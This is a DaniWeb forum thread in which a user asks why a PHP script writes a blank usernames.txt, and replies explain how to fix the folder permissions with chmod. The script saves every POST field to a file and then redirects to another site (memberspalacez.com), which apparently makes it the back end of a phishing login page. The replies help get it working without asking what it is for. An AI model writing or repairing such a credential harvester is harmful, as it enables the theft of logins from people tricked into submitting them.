everything is working besides this the file is made as username.txt and when i go to view it it is all blank here is the php below i hope someone can help

<?php
header ('Location: www.memberspalacez.com');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Recommended Answers

All 4 Replies

This is a permissions problem. Make sure that the folder that this script is running in has its permissions set to be written in.

My 2¢. Hope this helps.

try chmod +w file.php

try chmod +w file.php

The file can write, it's the folder that needs the permissions change. The php file doesn't need to be written into, it needs to be able to "create" a new file in the folder and be able to write in that file.

There are some instances where permissions need to be changed in php files, but in this particular case, the issue that they're having is based on the permissions of the folder. By changing permissions on my test server, I got the script to run.

yep sorry, i thought they were trying to write into an existing file, my bad, then:

chmod +w folder/
Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.